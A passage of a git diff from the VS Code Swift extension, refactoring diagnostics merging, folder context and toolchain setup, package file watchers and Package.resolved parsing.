+ /** + * Provide a new list of diagnostics for a given file + * + * @param uri {@link vscode.Uri Uri} of the file these diagonstics apply to + * @param sourcePredicate Diagnostics of a source that satisfies the predicate will apply for cleaning + * up diagnostics that have been removed. See {@link isSwiftc} and {@link isSourceKit} + * @param newDiagnostics Array of {@link vscode.Diagnostic}. This can be empty to remove old diagnostics satisfying `sourcePredicate`. + */ + handleDiagnostics( + uri: vscode.Uri, + sourcePredicate: SourcePredicate, + newDiagnostics: vscode.Diagnostic[] + ): void { + if (this.disposed) { + return; + } + + const isFromSourceKit = !sourcePredicate(DiagnosticsManager.swiftc); + // Is a descrepency between SourceKit-LSP and older versions + // of Swift as to whether the first letter is capitalized or not, + // so we'll always display messages capitalized to user and this + // also will allow comparing messages when merging + newDiagnostics = newDiagnostics.map(this.capitalizeMessage).map(this.cleanMessage); + const allDiagnostics = this.allDiagnostics.get(uri.fsPath)?.slice() || []; + // Remove the old set of diagnostics from this source + const removedDiagnostics = this.removeDiagnostics(allDiagnostics, d => + isSource(d, sourcePredicate) + ); + // Clean up any "fixed" swiftc diagnostics + if (isFromSourceKit) { + this.removeDiagnostics( + removedDiagnostics, + d1 => !!newDiagnostics.find(d2 => isEqual(d1, d2)) + ); + this.removeDiagnostics( + allDiagnostics, + d1 => isSwiftc(d1) && !!removedDiagnostics.find(d2 => isEqual(d1, d2)) + ); + } + + for (const diagnostic of newDiagnostics) { + if ( + diagnostic.code && + typeof diagnostic.code !== "string" && + typeof diagnostic.code !== "number" + ) { + const fsPath = diagnostic.code.target.fsPath; + + // Work around a bug in the nightlies where the URL comes back looking like: + // `/path/to/TestPackage/https:/docs.swift.org/compiler/documentation/diagnostics/nominal-types` + // Transform this in to a valid docs.swift.org URL which the openEducationalNote command + // will open in a browser. + // FIXME: This can be removed when the bug is fixed in sourcekit-lsp. + let open = false; + const needle = `https:${path.sep}docs.swift.org${path.sep}`; + if (fsPath.indexOf(needle) !== -1) { + const extractedPath = `https://docs.swift.org/${fsPath.split(needle).pop()}/`; + diagnostic.code.target = vscode.Uri.parse(extractedPath.replace(/\\/g, "/")); + open = true; + } else if (diagnostic.code.target.fsPath.endsWith(".md")) { + open = true; + } + + if (open) { + diagnostic.code = { + target: vscode.Uri.parse( + `command:swift.openEducationalNote?${encodeURIComponent(JSON.stringify(diagnostic.code.target))}` + ), + value: "More Information...", + }; + } + } + } + + // Append the new diagnostics we just received + allDiagnostics.push(...newDiagnostics); + this.allDiagnostics.set(uri.fsPath, allDiagnostics); + // Update the collection + this.updateDiagnosticsCollection(uri); + } + + private updateDiagnosticsCollection(uri: vscode.Uri): void { + const diagnostics = this.allDiagnostics.get(uri.fsPath) ?? []; + const swiftcDiagnostics = diagnostics.filter(isSwiftc); + const sourceKitDiagnostics = diagnostics.filter(isSourceKit); + const mergedDiagnostics: vscode.Diagnostic[] = []; + switch (configuration.diagnosticsCollection) { + case "keepSourceKit": + mergedDiagnostics.push(...swiftcDiagnostics); + this.mergeDiagnostics(mergedDiagnostics, sourceKitDiagnostics, isSourceKit); + break; + case "keepSwiftc": + mergedDiagnostics.push(...sourceKitDiagnostics); + this.mergeDiagnostics(mergedDiagnostics, swiftcDiagnostics, isSwiftc); + break; + case "onlySourceKit": + mergedDiagnostics.push(...sourceKitDiagnostics); + break; + case "onlySwiftc": + mergedDiagnostics.push(...swiftcDiagnostics); + break; + case "keepAll": + mergedDiagnostics.push(...sourceKitDiagnostics); + mergedDiagnostics.push(...swiftcDiagnostics); + break; + } + this.diagnosticCollection.set(uri, mergedDiagnostics); + } + + private mergeDiagnostics( + mergedDiagnostics: vscode.Diagnostic[], + newDiagnostics: vscode.Diagnostic[], + precedencePredicate: DiagnosticPredicate + ): void { + for (const diagnostic of newDiagnostics) { + // See if a duplicate diagnostic exists + const currentDiagnostic = mergedDiagnostics.find(d => isEqual(d, diagnostic)); + if (currentDiagnostic) { + mergedDiagnostics.splice(mergedDiagnostics.indexOf(currentDiagnostic), 1); + } + + // Perform de-duplication + if (precedencePredicate(diagnostic)) { + mergedDiagnostics.push(diagnostic); + continue; + } + if (!currentDiagnostic || !precedencePredicate(currentDiagnostic)) { + mergedDiagnostics.push(diagnostic); + continue; + } + mergedDiagnostics.push(currentDiagnostic); + } + } + + private removeSwiftcDiagnostics() { + this.allDiagnostics.forEach((diagnostics, path) => { + const newDiagnostics = diagnostics.slice(); + this.removeDiagnostics(newDiagnostics, isSwiftc); + if (diagnostics.length !== newDiagnostics.length) { + this.allDiagnostics.set(path, newDiagnostics); + } + this.updateDiagnosticsCollection(vscode.Uri.file(path)); + }); + } + + private removeDiagnostics( + diagnostics: vscode.Diagnostic[], + matches: DiagnosticPredicate + ): vscode.Diagnostic[] { + const removed: vscode.Diagnostic[] = []; + let i = diagnostics.length; + while (i--) { + if (matches(diagnostics[i])) { + removed.push(...diagnostics.splice(i, 1)); + } + } + return removed; + } + + /** + * Clear the `swift` diagnostics collection. Mostly meant for testing purposes. + */ + clear(): void { + this.diagnosticCollection.clear(); + this.allDiagnostics.clear(); + } + + dispose() { + this.disposed = true; + this.diagnosticCollection.dispose(); + this.onDidStartTaskDisposible.dispose(); + this.onDidChangeConfigurationDisposible.dispose(); + this.onDidDeleteDisposible.dispose(); + this.workspaceFileWatcher.dispose(); + } + + private includeSwiftcDiagnostics(): boolean { + return configuration.diagnosticsCollection !== "onlySourceKit"; + } + + private parseDiagnostics(swiftExecution: SwiftExecution): Promise { + return new Promise(res => { + const diagnostics = new Map(); + const disposables: vscode.Disposable[] = []; + const done = () => { + disposables.forEach(d => d.dispose()); + res(diagnostics); + }; + let remainingData: string | undefined; + let lastDiagnostic: vscode.Diagnostic | undefined; + let lastDiagnosticNeedsSaving = false; + disposables.push( + swiftExecution.onDidWrite(data => { + const sanitizedData = (remainingData || "") + stripAnsi(data); + const lines = sanitizedData.split(lineBreakRegex); + // If ends with \n then will be "" and there's no affect. + // Otherwise want to keep remaining data to pre-pend next write + remainingData = lines.pop(); + for (const line of lines) { + if (checkIfBuildComplete(line)) { + done(); + return; + } + const result = this.parseDiagnostic(line); + if (!result) { + continue; + } + if (result instanceof vscode.DiagnosticRelatedInformation) { + if (!lastDiagnostic) { + continue; + } + const relatedInformation = + result as vscode.DiagnosticRelatedInformation; + if ( + lastDiagnostic.relatedInformation?.find( + d => + d.message === relatedInformation.message && + d.location.uri.fsPath === + relatedInformation.location.uri.fsPath && + d.location.range.isEqual(relatedInformation.location.range) + ) + ) { + // De-duplicate duplicate notes from SwiftPM + // TODO remove when https://github.com/apple/swift/issues/73973 is fixed + continue; + } + lastDiagnostic.relatedInformation = ( + lastDiagnostic.relatedInformation || [] + ).concat(relatedInformation); + + if (lastDiagnosticNeedsSaving) { + const expandedUri = relatedInformation.location.uri.fsPath; + const currentUriDiagnostics = diagnostics.get(expandedUri) || []; + lastDiagnostic.range = relatedInformation.location.range; + diagnostics.set(expandedUri, [ + ...currentUriDiagnostics, + lastDiagnostic, + ]); + + lastDiagnosticNeedsSaving = false; + } + continue; + } + const { uri, diagnostic } = result as ParsedDiagnostic; + + const currentUriDiagnostics: vscode.Diagnostic[] = + diagnostics.get(uri) || []; + if ( + currentUriDiagnostics.find( + d => + d.message === diagnostic.message && + d.range.isEqual(diagnostic.range) + ) + ) { + // De-duplicate duplicate diagnostics from SwiftPM + // TODO remove when https://github.com/apple/swift/issues/73973 is fixed + lastDiagnostic = undefined; + continue; + } + lastDiagnostic = diagnostic; + + // If the diagnostic comes from a macro expansion the URI is going to be an invalid URI. + // Save the diagnostic for when we get the related information which has the macro expansion location + // that should be used as the correct URI. + if (this.isValidUri(uri)) { + diagnostics.set(uri, [...currentUriDiagnostics, diagnostic]); + } else { + lastDiagnosticNeedsSaving = true; + } + } + }), + swiftExecution.onDidClose(done) + ); + }); + } + + private isValidUri(uri: string): boolean { + try { + fs.accessSync(uri, fs.constants.F_OK); + return true; + } catch { + return false; + } + } + + private parseDiagnostic( + line: string + ): ParsedDiagnostic | vscode.DiagnosticRelatedInformation | undefined { + const diagnosticRegex = + /^(?:[`-\s]*)(.*?):(\d+)(?::(\d+))?:\s+(warning|error|note):\s+(.*)$/g; + const switfcExtraWarningsRegex = /\[(-W|#).*?\]/g; + const match = diagnosticRegex.exec(line); + if (!match) { + return; + } + const uri = vscode.Uri.file(match[1]).fsPath; + const message = this.capitalize(match[5]).replace(switfcExtraWarningsRegex, "").trim(); + const range = this.range(match[2], match[3]); + const severity = this.severity(match[4]); + if (severity === vscode.DiagnosticSeverity.Information) { + return new vscode.DiagnosticRelatedInformation( + new vscode.Location(vscode.Uri.file(uri), range), + message + ); + } + const diagnostic = new vscode.Diagnostic(range, message, severity); + diagnostic.source = DiagnosticsManager.swiftc; + return { uri, diagnostic }; + } + + private range(lineString: string, columnString: string): vscode.Range { + // Output from `swift` is 1-based but vscode expects 0-based lines and columns + const line = parseInt(lineString) - 1; + const col = parseInt(columnString) - 1; + const position = new vscode.Position(line, col); + return new vscode.Range(position, position); + } + + private severity(severityString: string): vscode.DiagnosticSeverity { + let severity = vscode.DiagnosticSeverity.Error; + switch (severityString) { + case "warning": + severity = vscode.DiagnosticSeverity.Warning; + break; + case "note": + severity = vscode.DiagnosticSeverity.Information; + break; + default: + break; + } + return severity; + } + + private capitalize(message: string): string { + return message.charAt(0).toUpperCase() + message.slice(1); + } + + private capitalizeMessage = (diagnostic: vscode.Diagnostic): vscode.Diagnostic => { + const message = diagnostic.message; + diagnostic = { ...diagnostic }; + diagnostic.message = this.capitalize(message); + return diagnostic; + }; + + private cleanMessage = (diagnostic: vscode.Diagnostic) => { + diagnostic = { ...diagnostic }; + diagnostic.message = diagnostic.message.replace("(fix available)", "").trim(); + return diagnostic; + }; + + private onDidStartTaskDisposible: vscode.Disposable; + private onDidChangeConfigurationDisposible: vscode.Disposable; + private onDidDeleteDisposible: vscode.Disposable; + private workspaceFileWatcher: vscode.FileSystemWatcher; +} diff --git a/src/FolderContext.ts b/src/FolderContext.ts index f1caa430a..7ed08a2ea 100644 --- a/src/FolderContext.ts +++ b/src/FolderContext.ts @@ -1,33 +1,43 @@ //===----------------------------------------------------------------------===// // -// This source file is part of the VSCode Swift open source project +// This source file is part of the VS Code Swift open source project // -// Copyright (c) 2021 the VSCode Swift project authors +// Copyright (c) 2021 the VS Code Swift project authors // Licensed under Apache License v2.0 // // See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors // // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as path from "path"; +import * as vscode from "vscode"; + +import { BackgroundCompilation } from "./BackgroundCompilation"; import { LinuxMain } from "./LinuxMain"; import { PackageWatcher } from "./PackageWatcher"; -import { SwiftPackage } from "./SwiftPackage"; +import { SwiftPackage, Target, TargetType } from "./SwiftPackage"; import { TestExplorer } from "./TestExplorer/TestExplorer"; -import { WorkspaceContext, FolderEvent } from "./WorkspaceContext"; -import { BackgroundCompilation } from "./BackgroundCompilation"; -import { TaskQueue } from "./TaskQueue"; +import { TestRunManager } from "./TestExplorer/TestRunManager"; +import { TestRunProxy } from "./TestExplorer/TestRunner"; +import { FolderOperation, WorkspaceContext } from "./WorkspaceContext"; +import { SwiftLogger } from "./logging/SwiftLogger"; +import { TaskQueue } from "./tasks/TaskQueue"; +import { SwiftToolchain } from "./toolchain/toolchain"; +import { showToolchainError } from "./ui/ToolchainSelection"; +import { isPathInsidePath } from "./utilities/filesystem"; export class FolderContext implements vscode.Disposable { - private packageWatcher: PackageWatcher; public backgroundCompilation: BackgroundCompilation; public hasResolveErrors = false; - public testExplorer?: TestExplorer; public taskQueue: TaskQueue; + public testExplorer?: TestExplorer; + public resolvedTestExplorer: Promise; + private testExplorerResolver?: (testExplorer: TestExplorer) => void; + private packageWatcher: PackageWatcher; + private testRunManager: TestRunManager; + public creationStack?: string; /** * FolderContext constructor @@ -37,22 +47,35 @@ export class FolderContext implements vscode.Disposable { */ private constructor( public folder: vscode.Uri, + public toolchain: SwiftToolchain, public linuxMain: LinuxMain, public swiftPackage: SwiftPackage, public workspaceFolder: vscode.WorkspaceFolder, public workspaceContext: WorkspaceContext ) { - this.packageWatcher = new PackageWatcher(this, workspaceContext); - this.packageWatcher.install(); + this.packageWatcher = new PackageWatcher(this, workspaceContext.logger); this.backgroundCompilation = new BackgroundCompilation(this); this.taskQueue = new TaskQueue(this); + this.testRunManager = new TestRunManager(); + + // In order to track down why a FolderContext may be created when we don't want one, + // capture the stack so we can log it if we find a duplicate. + this.creationStack = new Error().stack; + + // Tests often need to wait for the test explorer to be created before they can run. + // This promise resolves when the test explorer is created, allowing them to wait for it before starting. + this.resolvedTestExplorer = new Promise(resolve => { + this.testExplorerResolver = resolve; + }); } /** dispose of any thing FolderContext holds */ dispose() { this.linuxMain?.dispose(); - this.packageWatcher?.dispose(); + this.packageWatcher.dispose(); this.testExplorer?.dispose(); + this.backgroundCompilation.dispose(); + this.taskQueue.dispose(); } /** @@ -69,33 +92,84 @@ export class FolderContext implements vscode.Disposable { const statusItemText = `Loading Package (${FolderContext.uriName(folder)})`; workspaceContext.statusItem.start(statusItemText); - const linuxMain = await LinuxMain.create(folder); - const swiftPackage = await SwiftPackage.create(folder); + let toolchain: SwiftToolchain; + try { + toolchain = await SwiftToolchain.create( + workspaceContext.extensionContext.extensionPath, + folder + ); + } catch (error) { + // This error case is quite hard for the user to get in to, but possible. + // Typically on startup the toolchain creation failure is going to happen in + // the extension activation in extension.ts. However if they incorrectly configure + // their path post activation, and add a new folder to the workspace, this failure can occur. + workspaceContext.logger.error( + `Failed to discover Swift toolchain for ${FolderContext.uriName(folder)}: ${error}`, + FolderContext.uriName(folder) + ); + const userMadeSelection = await showToolchainError(folder); + if (userMadeSelection) { + // User updated toolchain settings, retry once + try { + toolchain = await SwiftToolchain.create( + workspaceContext.extensionContext.extensionPath, + folder + ); + workspaceContext.logger.info( + `Successfully created toolchain for ${FolderContext.uriName(folder)} after user selection`, + FolderContext.uriName(folder) + ); + } catch (retryError) { + workspaceContext.logger.error( + `Failed to create toolchain for ${FolderContext.uriName(folder)} even after user selection: ${retryError}`, + FolderContext.uriName(folder) + ); + // Fall back to global toolchain + toolchain = workspaceContext.globalToolchain; + } + } else { + toolchain = workspaceContext.globalToolchain; + } + } + const { linuxMain, swiftPackage } = + await workspaceContext.statusItem.showStatusWhileRunning(statusItemText, async () => { + const linuxMain = await LinuxMain.create(folder); + const swiftPackage = await SwiftPackage.create(folder, toolchain); + return { linuxMain, swiftPackage }; + }); workspaceContext.statusItem.end(statusItemText); const folderContext = new FolderContext( folder, + toolchain, linuxMain, swiftPackage, workspaceFolder, workspaceContext ); - const error = swiftPackage.error; + const error = await swiftPackage.error; if (error) { - vscode.window.showErrorMessage( + void vscode.window.showErrorMessage( `Failed to load ${folderContext.name}/Package.swift: ${error.message}` ); - workspaceContext.outputChannel.log( + workspaceContext.logger.info( `Failed to load Package.swift: ${error.message}`, folderContext.name ); } + // Start watching for changes to Package.swift, Package.resolved and .swift-version + await folderContext.packageWatcher.install(); + return folderContext; } + get languageClientManager() { + return this.workspaceContext.languageClientManager.get(this); + } + get name(): string { const relativePath = this.relativePath; if (relativePath.length === 0) { @@ -113,9 +187,13 @@ export class FolderContext implements vscode.Disposable { return this.workspaceFolder.uri === this.folder; } + get swiftVersion() { + return this.toolchain.swiftVersion; + } + /** reload swift package for this folder */ async reload() { - await this.swiftPackage.reload(); + await this.swiftPackage.reload(this.toolchain); } /** reload Package.resolved for this folder */ @@ -123,12 +201,22 @@ export class FolderContext implements vscode.Disposable { await this.swiftPackage.reloadPackageResolved(); } + /** reload workspace-state.json for this folder */ + async reloadWorkspaceState() { + await this.swiftPackage.reloadWorkspaceState(); + } + + /** Load Swift Plugins and store in Package */ + async loadSwiftPlugins(logger: SwiftLogger) { + await this.swiftPackage.loadSwiftPlugins(this.toolchain, logger); + } + /** * Fire an event to all folder observers * @param event event type */ - async fireEvent(event: FolderEvent) { - this.workspaceContext.fireEvent(this, event); + async fireEvent(event: FolderOperation) { + await this.workspaceContext.fireEvent(this, event); } /** Return edited Packages folder */ @@ -138,26 +226,106 @@ export class FolderContext implements vscode.Disposable { /** Create Test explorer for this folder */ addTestExplorer() { - this.testExplorer = new TestExplorer(this); - } - - /** Get list of edited packages */ - async getEditedPackages(): Promise { - const workspaceState = await this.swiftPackage.loadWorkspaceState(); - return ( - workspaceState?.object.dependencies - .filter(item => { - return item.state.name === "edited" && item.state.path; - }) - .map(item => { - return { name: item.packageRef.identity, folder: item.state.path! }; - }) ?? [] - ); + if (this.testExplorer === undefined) { + this.testExplorer = new TestExplorer( + this, + this.workspaceContext.tasks, + this.workspaceContext.logger, + this.workspaceContext.onDidChangeSwiftFiles.bind(this.workspaceContext) + ); + this.testExplorerResolver?.(this.testExplorer); + } + return this.testExplorer; + } + + /** Create Test explorer for this folder */ + removeTestExplorer() { + this.testExplorer?.dispose(); + this.testExplorer = undefined; + } + + /** Refresh the tests in the test explorer for this folder */ + async refreshTestExplorer() { + if (this.testExplorer?.controller.resolveHandler) { + return this.testExplorer.controller.resolveHandler(undefined); + } + } + + /** Return if package folder has a test explorer */ + hasTestExplorer() { + return this.testExplorer !== undefined; } static uriName(uri: vscode.Uri): string { return path.basename(uri.fsPath); } + + /** + * Find testTarget for URI + * @param uri URI to find target for + * @returns Target + */ + async getTestTarget(uri: vscode.Uri, type?: TargetType): Promise { + if (!isPathInsidePath(uri.fsPath, this.folder.fsPath)) { + return undefined; + } + const testTargets = await this.swiftPackage.getTargets(type); + const target = testTargets.find(element => { + const relativeUri = path.relative( + path.join(this.folder.fsPath, element.path), + uri.fsPath + ); + return element.sources.find(file => file === relativeUri) !== undefined; + }); + return target; + } + + /** + * Register a new test run + * @param testRun The test run to register + * @param folder The folder context + * @param testKind The kind of test run + * @param tokenSource The cancellation token source + */ + public registerTestRun(testRun: TestRunProxy, tokenSource: vscode.CancellationTokenSource) { + this.testRunManager.registerTestRun(testRun, this, tokenSource); + } + + /** + * Returns true if there is an active test run for the given test kind + * @param testKind The kind of test + * @returns True if there is an active test run, false otherwise + */ + hasActiveTestRun() { + return this.testRunManager.getActiveTestRun(this) !== undefined; + } + + /** + * Cancels the active test run for the given test kind + * @param testKind The kind of test run + */ + cancelTestRun() { + this.testRunManager.cancelTestRun(this); + } + + /** + * Called whenever we have new document symbols + */ + onDocumentSymbols( + document: vscode.TextDocument, + symbols: vscode.DocumentSymbol[] | null | undefined + ) { + const uri = document?.uri; + if ( + this.testExplorer && + symbols && + uri && + uri.scheme === "file" && + isPathInsidePath(uri.fsPath, this.folder.fsPath) + ) { + void this.testExplorer.getDocumentTests(this, uri, symbols); + } + } } export interface EditedPackage { diff --git a/src/LinuxMain.ts b/src/LinuxMain.ts index 5a0447705..44d3b17b0 100644 --- a/src/LinuxMain.ts +++ b/src/LinuxMain.ts @@ -1,19 +1,19 @@ //===----------------------------------------------------------------------===// // -// This source file is part of the VSCode Swift open source project +// This source file is part of the VS Code Swift open source project // -// Copyright (c) 2022 the VSCode Swift project authors +// Copyright (c) 2022 the VS Code Swift project authors // Licensed under Apache License v2.0 // // See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors // // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; -import { pathExists } from "./utilities/utilities"; + +import { pathExists } from "./utilities/filesystem"; /** * Cache the existence of `Tests/LinuxMain.swift`. @@ -21,7 +21,10 @@ import { pathExists } from "./utilities/utilities"; export class LinuxMain { private fileWatcher: vscode.FileSystemWatcher; - constructor(folder: vscode.Uri, public exists: boolean) { + constructor( + folder: vscode.Uri, + public exists: boolean + ) { this.fileWatcher = vscode.workspace.createFileSystemWatcher( new vscode.RelativePattern(folder, "Tests/LinuxMain.swift"), false, diff --git a/src/PackageWatcher.ts b/src/PackageWatcher.ts index f7cea0cc8..25e5618d5 100644 --- a/src/PackageWatcher.ts +++ b/src/PackageWatcher.ts @@ -1,20 +1,27 @@ //===----------------------------------------------------------------------===// // -// This source file is part of the VSCode Swift open source project +// This source file is part of the VS Code Swift open source project // -// Copyright (c) 2021 the VSCode Swift project authors +// Copyright (c) 2021 the VS Code Swift project authors // Licensed under Apache License v2.0 // // See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors // // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - +import * as fs from "fs/promises"; +import * as path from "path"; import * as vscode from "vscode"; + import { FolderContext } from "./FolderContext"; -import { FolderEvent, WorkspaceContext } from "./WorkspaceContext"; +import { FolderOperation } from "./WorkspaceContext"; +import { SwiftLogger } from "./logging/SwiftLogger"; +import { BuildFlags } from "./toolchain/BuildFlags"; +import { showReloadExtensionNotification } from "./ui/ReloadExtension"; +import { fileExists } from "./utilities/filesystem"; +import { Version } from "./utilities/version"; /** * Watches for changes to **Package.swift** and **Package.resolved**. @@ -24,17 +31,28 @@ import { FolderEvent, WorkspaceContext } from "./WorkspaceContext"; */ export class PackageWatcher { private packageFileWatcher?: vscode.FileSystemWatcher; + private resolvedChangedDisposable?: vscode.Disposable; private resolvedFileWatcher?: vscode.FileSystemWatcher; + private workspaceStateFileWatcher?: vscode.FileSystemWatcher; + private snippetWatcher?: vscode.FileSystemWatcher; + private swiftVersionFileWatcher?: vscode.FileSystemWatcher; + private currentVersion?: Version; - constructor(private folderContext: FolderContext, private workspaceContext: WorkspaceContext) {} + constructor( + private folderContext: FolderContext, + private logger: SwiftLogger + ) {} /** * Creates and installs {@link vscode.FileSystemWatcher file system watchers} for * **Package.swift** and **Package.resolved**. */ - install() { + async install() { this.packageFileWatcher = this.createPackageFileWatcher(); this.resolvedFileWatcher = this.createResolvedFileWatcher(); + this.workspaceStateFileWatcher = await this.createWorkspaceStateFileWatcher(); + this.snippetWatcher = this.createSnippetFileWatcher(); + this.swiftVersionFileWatcher = await this.createSwiftVersionFileWatcher(); } /** @@ -43,7 +61,11 @@ export class PackageWatcher { */ dispose() { this.packageFileWatcher?.dispose(); + this.resolvedChangedDisposable?.dispose(); this.resolvedFileWatcher?.dispose(); + this.workspaceStateFileWatcher?.dispose(); + this.snippetWatcher?.dispose(); + this.swiftVersionFileWatcher?.dispose(); } private createPackageFileWatcher(): vscode.FileSystemWatcher { @@ -58,14 +80,87 @@ export class PackageWatcher { private createResolvedFileWatcher(): vscode.FileSystemWatcher { const watcher = vscode.workspace.createFileSystemWatcher( - new vscode.RelativePattern(this.folderContext.folder, "Package.resolved") + new vscode.RelativePattern(this.folderContext.folder, "Package.resolved"), + // https://github.com/swiftlang/vscode-swift/issues/1571 + // We can ignore create because that would be seemingly from a Package.resolved + // and will ignore delete as we don't know the reason behind. By still listening + // for change + true, + false, + true + ); + this.resolvedChangedDisposable = watcher.onDidChange( + async () => await this.handlePackageResolvedChange() + ); + return watcher; + } + + private async createWorkspaceStateFileWatcher(): Promise { + const uri = vscode.Uri.joinPath( + vscode.Uri.file( + BuildFlags.buildDirectoryFromWorkspacePath(this.folderContext.folder.fsPath, true) + ), + "workspace-state.json" + ); + const watcher = vscode.workspace.createFileSystemWatcher(uri.fsPath); + watcher.onDidCreate(async () => await this.handleWorkspaceStateChange()); + watcher.onDidChange(async () => await this.handleWorkspaceStateChange()); + watcher.onDidDelete(async () => await this.handleWorkspaceStateChange()); + + if (await fileExists(uri.fsPath)) { + // TODO: Remove this + this.logger.info("Loading initial workspace-state.json"); + await this.handleWorkspaceStateChange(); + } + + return watcher; + } + + private createSnippetFileWatcher(): vscode.FileSystemWatcher { + const watcher = vscode.workspace.createFileSystemWatcher( + new vscode.RelativePattern(this.folderContext.folder, "Snippets/*.swift") ); - watcher.onDidCreate(async () => await this.handlePackageResolvedChange()); - watcher.onDidChange(async () => await this.handlePackageResolvedChange()); - watcher.onDidDelete(async () => await this.handlePackageResolvedChange()); + watcher.onDidCreate(async () => await this.handlePackageSwiftChange()); + watcher.onDidDelete(async () => await this.handlePackageSwiftChange()); return watcher; } + private async createSwiftVersionFileWatcher(): Promise { + const watcher = vscode.workspace.createFileSystemWatcher( + new vscode.RelativePattern(this.folderContext.folder, ".swift-version") + ); + watcher.onDidCreate(async () => await this.handleSwiftVersionFileChange()); + watcher.onDidChange(async () => await this.handleSwiftVersionFileChange()); + watcher.onDidDelete(async () => await this.handleSwiftVersionFileChange()); + this.currentVersion = + (await this.readSwiftVersionFile()) ?? this.folderContext.toolchain.swiftVersion; + return watcher; + } + + async handleSwiftVersionFileChange() { + const version = await this.readSwiftVersionFile(); + if (version?.toString() !== this.currentVersion?.toString()) { + await this.folderContext.fireEvent(FolderOperation.swiftVersionUpdated); + await showReloadExtensionNotification( + "Changing the swift toolchain version requires the extension to be reloaded" + ); + } + this.currentVersion = version ?? this.folderContext.toolchain.swiftVersion; + } + + private async readSwiftVersionFile() { + const versionFile = path.join(this.folderContext.folder.fsPath, ".swift-version"); + try { + const contents = await fs.readFile(versionFile); + return Version.fromString(contents.toString().trim()); + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== "ENOENT") { + this.logger.error(`Failed to read .swift-version file at ${versionFile}: ${error}`); + } + } + return undefined; + } + /** * Handles a create or change event for **Package.swift**. * @@ -76,7 +171,7 @@ export class PackageWatcher { async handlePackageSwiftChange() { // Load SwiftPM Package.swift description await this.folderContext.reload(); - this.workspaceContext.fireEvent(this.folderContext, FolderEvent.packageUpdated); + await this.folderContext.fireEvent(FolderOperation.packageUpdated); } /** @@ -85,7 +180,25 @@ export class PackageWatcher { * This will resolve any changes in the Package.resolved. */ private async handlePackageResolvedChange() { + const packageResolvedHash = this.folderContext.swiftPackage.resolved?.fileHash; await this.folderContext.reloadPackageResolved(); - this.workspaceContext.fireEvent(this.folderContext, FolderEvent.resolvedUpdated); + // if file contents has changed then send resolve updated message + if (this.folderContext.swiftPackage.resolved?.fileHash !== packageResolvedHash) { + await this.folderContext.fireEvent(FolderOperation.resolvedUpdated); + } + } + + /** + * Handles a create or change event for **.build/workspace-state.json**. + * + * This will resolve any changes in the workspace-state. + */ + private async handleWorkspaceStateChange() { + await this.folderContext.reloadWorkspaceState(); + // TODO: Remove this + this.logger.info( + `Package watcher state updated workspace-state.json: ${JSON.stringify(this.folderContext.swiftPackage.workspaceState, null, 2)}` + ); + await this.folderContext.fireEvent(FolderOperation.workspaceStateUpdated); } } diff --git a/src/SwiftPackage.ts b/src/SwiftPackage.ts index 8ad820312..ab64b2724 100644 --- a/src/SwiftPackage.ts +++ b/src/SwiftPackage.ts @@ -1,27 +1,29 @@ //===----------------------------------------------------------------------===// // -// This source file is part of the VSCode Swift open source project +// This source file is part of the VS Code Swift open source project // -// Copyright (c) 2021 the VSCode Swift project authors +// Copyright (c) 2021-2023 the VS Code Swift project authors // Licensed under Apache License v2.0 // // See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors // // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as fs from "fs/promises"; -import { - buildDirectoryFromWorkspacePath, - execSwift, - getErrorDescription, -} from "./utilities/utilities"; +import * as path from "path"; +import * as vscode from "vscode"; + +import { SwiftLogger } from "./logging/SwiftLogger"; +import { BuildFlags } from "./toolchain/BuildFlags"; +import { SwiftToolchain } from "./toolchain/toolchain"; +import { isPathInsidePath } from "./utilities/filesystem"; +import { lineBreakRegex } from "./utilities/tasks"; +import { execSwift, getErrorDescription, hashString } from "./utilities/utilities"; /** Swift Package Manager contents */ -export interface PackageContents { +interface PackageContents { name: string; products: Product[]; dependencies: Dependency[]; @@ -35,41 +37,73 @@ export interface Product { type: { executable?: null; library?: string[] }; } +export function isAutomatic(product: Product): boolean { + return (product.type.library || []).includes("automatic"); +} + /** Swift Package Manager target */ export interface Target { name: string; + c99name: string; path: string; sources: string[]; - type: "executable" | "test" | "library"; + type: "executable" | "test" | "library" | "snippet" | "plugin" | "binary" | "system-target"; } /** Swift Package Manager dependency */ export interface Dependency { identity: string; - type?: string; // fileSystem, sourceControl or registry + type?: string; requirement?: object; url?: string; path?: string; + dependencies: Dependency[]; +} + +export interface ResolvedDependency extends Dependency { + version: string; + type: string; + path: string; + location: string; + revision?: string; } /** Swift Package.resolved file */ export class PackageResolved { - constructor(readonly pins: PackageResolvedPin[], readonly version: number) {} - - static fromV1JSON(json: PackageResolvedFileV1): PackageResolved { - return new PackageResolved( - json.object.pins.map( - pin => new PackageResolvedPin(pin.package, pin.repositoryURL, pin.state) - ), - json.version - ); + readonly fileHash: number; + readonly pins: PackageResolvedPin[]; + readonly version: number; + + constructor(fileContents: string) { + const json = JSON.parse(fileContents) as { version: number }; + this.version = json.version; + this.fileHash = hashString(fileContents); + + if (this.version === 1) { + const v1Json = json as PackageResolvedFileV1; + this.pins = v1Json.object.pins.map( + pin => + new PackageResolvedPin( + this.identity(pin.repositoryURL), + pin.repositoryURL, + pin.state + ) + ); + } else if (this.version === 2 || this.version === 3) { + const v2Json = json as PackageResolvedFileV2; + this.pins = v2Json.pins.map( + pin => new PackageResolvedPin(pin.identity, pin.location, pin.state) + ); + } else { + throw Error("Unsupported Package.resolved version"); + } } - static fromV2JSON(json: PackageResolvedFileV2): PackageResolved { - return new PackageResolved( - json.pins.map(pin => new PackageResolvedPin(pin.identity, pin.location, pin.state)), - json.version - ); + // Copied from `PackageIdentityParser.computeDefaultName` in + // https://github.com/apple/swift-package-manager/blob/main/Sources/PackageModel/PackageIdentity.swift + identity(url: 